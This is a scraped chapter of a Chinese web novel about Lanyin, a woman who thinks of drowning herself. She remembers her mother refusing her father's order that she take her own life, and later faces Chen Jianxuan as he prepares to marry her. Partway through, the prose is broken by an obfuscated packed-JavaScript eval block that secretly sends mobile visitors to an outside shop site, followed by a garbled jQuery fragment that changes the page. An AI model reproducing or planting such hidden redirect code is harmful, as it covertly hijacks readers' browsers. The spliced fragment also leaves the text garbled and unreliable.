文趣网 > 其他小说 > 兰玄 > 28. 第二十八章
    远处的河水,河水滔滔,翻涌的不知奔向何处……

    兰因缓缓站起身来,陈家二姑走了,但方才尖锐刺耳的话语仿佛还在耳边……

    二姑的脸开始扭曲,变形,和记忆里另一张脸重叠在一起……那是父亲阴沉肃穆的脸,正在高高在上的俯视着她……

    越过规矩就是死……

    那些话在她耳边翻来覆去的碾,碾成碎末,又被冷风吹来,呛的她喉咙发紧,呼吸不上来。

    她只觉得天地旋转,灰蒙蒙的不成个样子,她分不清是天还是河……

    河水在她脚边缓缓流着,黑沉沉的,看不到底。

    有风吹来,冷得刺骨,但她好像感觉不到,她只是站在那里……

    她陷入深深的自厌里,脑子里只有一个词:去死。

    只有死了,一切就会结束……

    一切都会结束……

    突然,她停止了动作。

    耳边隐约间有马车划过路边的声音,是那么急,那么赶……

    从马车上下来一个妇人,焦急担忧的神情,一把把搂住她,兰因埋在她的怀里,像幼时一样汲取母亲身上的体香和温暖。

    兰因意识模糊,分不清是现实还是虚幻……她看到了母亲。

    是陈家被抄那天夜里,母亲从温家赶来,她就是那样扑进母亲的怀里。

    陈见玄一直以为,兰因是因为陈见辞才留下来照顾他。

    其实不是。

    陈家被抄,府内四散,只留下他们两个人,兰因的手臂还被陈见玄狠狠咬了一口,血肉模糊的可怜。

    与陈家关系最紧密的许家都躲出去避祸了,生怕被牵连。

    她看着陈见玄孤零零的背影,又看着诺大的,凌乱的的陈府,她心中有对陈见玄的同情怜惜,但更多的是对未来的迷茫恐惧……

    不能要求一个一辈子被拘在屋子里的柔弱女人去担起什么大事。

    兰因还在挣扎犹豫要不要留下来时,母亲来了。

    在一个漆黑悠长的夜晚,那个素来以夫为天的女人深夜赶来,兰因以为母亲是在来接她的。

    她是这么以为的。就像陈家二姑一样,带着自己的丈夫孩子躲出去了。

    兰因忙遮下伤口,怕被母亲看到担心。

    直到她看到母亲手捧着一条白绫时,兰因欣喜犹豫的表情僵在脸上。

    “你父亲说……让你自尽。”温母嘴唇颤动着说了这句话。

    太子登基,清除逆党,他把陈岳视为逆党,陈岳死后,太子未必解了恨,说不准接下来会把矛头盯着谁,有可能是许家,有可能是……同样与陈家有姻亲的温家……

    只要兰因在一日,这个联系就在,太子就有可能会冲着温家来。

    那个虚伪自私的男人,为了避祸,毫无担当地让自己的亲生女儿去死,斩断一切与陈家的联系。

    兰因僵在那里,难以置信的看着母亲手中的白绫,身体像是被抽去了筋骨,嘴唇哆哆嗦嗦,一丝血色也无的脸上,只有那一双眼睛瞪得很大……

    半晌,泪水从眼眶里滚落了下来,沿着脸颊往下淌,最后无声无息的砸在衣襟上……

    自那日被推入冰凉刺骨的池水中,兰因就忘了违拗,只学会了顺从,在家从父,出嫁从夫……哪怕是要她死,她都没想过,也不敢反抗……

    就在她颤抖着手接过白绫时,对面的妇人也同样抖着手,却在兰因触碰的那一刻,突然把白绫扔在了地上。

    她一把搂过兰因在怀里,眼泪不住的往下落。

    比兰因先学会反抗的是兰因的母亲,这个一辈子同样只学会了顺从的女人学会了反抗。

    母亲的怀抱是那么的温暖,连同她的泪水也是那么的温暖。

    “兰儿,娘不要你死……娘不要你死……我的兰儿,怎么这么命苦啊……”

    母亲的身体颤抖的厉害,却死死的搂住她。

    她明明那么害怕,却还是想为自己女儿谋出一条生路。

    她看着兰因,伸手替她擦掉眼泪。擦完后,又想到什么,伸手从头上取下一件件首饰,还有手上的镯子,全都塞到兰因手里。

    她压住内心的颤抖,死死地盯着兰因,像是看她最后一面,郑重其事道,“兰儿,别想着回去了,那不是一条活路……也不要去死,母亲不想你死。你留在陈家罢,留在陈家,为自己谋一条活路。”

    时隔多年,兰因依然记得母亲那夜的样子,那样的眼神,一辈子空洞的眼神,那夜却格外的亮晶晶,郑重的?坚定的?要自己的女儿活下去!

    兰因虚无的眼神里突然亮了起来。

    她看着眼前的河水,突然像逃命似的站了起来,离河水越来越远。

    她不能死,绝对不能死!她要活下去,为了自己,为了母亲,好好活下去!

    ……

    夜色浓稠,陈府门前的灯笼在风里晃了几晃,然后又归为平静,好似什么都没发生过一样。

    守门的侍卫听见马蹄声,赶忙过来迎着。

    一匹黑马已停在阶前,马上的男人翻身下马,动作利落,周奉安赶忙接过他手中的马鞭。

    府内有点动静,不是很吵,但比平时略闹一些。

    因为陈见玄喜静,不喜下人在跟前儿,因此每逢他回家,下人们尽量躲着他,不在他面前晃悠,以防触怒他的霉头。

    但今日不同。

    按照他的吩咐,府内上上下下开始忙碌了起来,想安静下来是不成的。

    好在男人没发火,他站在府门外定了一会儿,看到大门处已经挂上了大红灯笼,喜气洋洋的,上面贴了喜字。

    一打眼,还真是有办喜事的样子。

    婚期就定在三日后,什么交换庚帖,纳吉纳征在他这里通通都化繁为简,把婚事定下来才是最紧要的。

    男人深邃的眼眸瞧着大红灯笼,一贯冷着的面容略略有些融化。

    他早上出门前吩咐的,并没和兰因说,但下人们忙活这么久,想必她一定已经知晓。

    他刚踏进门,管事的赶忙跟他禀报。

    听罢,男人脸上浮现些许怒气,冷声道,“废物!”

    管事的吓得赶忙跪下认错,解释道是夫人让许夫人进来的。

    少见的,陈见玄并未怪罪他,只是垂眸问他,“她们说了什么?”

    管事的恭恭敬敬地道,“夫人和许夫人去了花园,不让任何人在跟前儿伺候……说了什么……并不知道。”

    “许家离开以后,她有什么异样?”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17771289|208205||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    管事的想了想,兰因在陈家二姑走了以后,一个人待在花园中,待了很久……

    “出来时……并无异样。”他继续说道,“夫人回了院子,和平时一样,仍做绣活。”

    陈见玄听罢才放了心,也没卸下官服,直奔着兰因的院子去。

    兰因的院子里,她身边的几个丫鬟和下人瞧见二公子来。

    陈见玄略微一扫眼,下人们便晓得,乖顺的退下。

    整个陈府都挂上了红灯笼,只有兰因的院子没挂,兰因不让挂。

    兰因在房内,此时她没做绣活,只是从匣子里取出当初母亲的给的首饰来看。

    一枚银镯子在她掌心,镯身有些旧了,边沿磨出细碎的划痕,在烛火下泛着微弱的光,指腹沿着弧度慢慢推了一圈,兰因动作很轻,也很珍惜。

    当初被抄家以后,母亲给的首饰卖了一些,维持生计,陈见玄知晓后,没几天又给她赎回来了,不肯再让她卖。

    兰因不知道陈见玄是从哪里弄来的银子,但幸好他赎回来了,不然典当行当东西流转的快,典出去容易,寻回来不易。

    陈见玄进来的时候,就看到她在看手里的镯子。

    她低着头,略微背对着他,陈见玄只看到她露出一截后颈,皮肤在烛火下,泛着薄薄的粉色,显得莹润有光泽,几缕青丝在耳后,随着她的呼吸轻微的晃动。

    睫毛垂着,在眼底下投下浅浅的影子,整个人坐在那团光里……很熟悉的场景,就像她当初提着灯笼向他走过来。

    陈见玄依靠在门框处,姿态松弛,不着急进去,就那么静静地注视着她。

    还是兰因眼尖,不经意回头瞅见了他,又赶忙转了回去。

    她此刻眼圈还是有些红,下午陈家二姑那一遭,她眼睛红肿,不能见人。兰因不想让他看见,怕他又发疯。

    “许家来了?”似是觉得兰因早晚是他的,男人索性摊了牌,彻底不装了。

    他现在连二姑也不唤了。

    兰因背对着他,手里紧紧攥着手镯,轻轻地回了一句,“嗯。”

    “说了什么?”

    兰因摸索手心里的镯子动作一顿。片刻后目光落在那一点跳动的火焰上,眼睫极慢的眨了一下,手指无意识的摩挲着镯子。

    陈见玄极聪明,雍王登基以后,派他四处追杀逆党,面皮上的话和面皮下的话,是不是一样的,他一眼就能看出来。

    兰因不大会说谎,幸而她背对着他,男人瞧不出她脸上的表情。

    兰因尽量使自己声音听起来若无其事,“二姑……来问了和赵诵的婚事……”

    陈见玄太过了解兰因,如果回答的太过表面,他不会相信,提了他最忌讳的,被他的拒掉婚事的赵诵,他反而会相信。

    “我跟他解释了……”

    陈见玄没意识到她在撒谎。听罢微微勾起唇角,他带着几分戏谑道,“怎么解释的?”

    兰因不说话。

    即便没有回头,她依然感受到背后男人那双深邃的眼,正在注视着她,锁着她。

    安静的房内,男人的声音很慢,带着几分勾人的笑意,慢悠悠的很,“说你并非心仪他,心仪我是吗?”

    兰因身形瞬间僵住。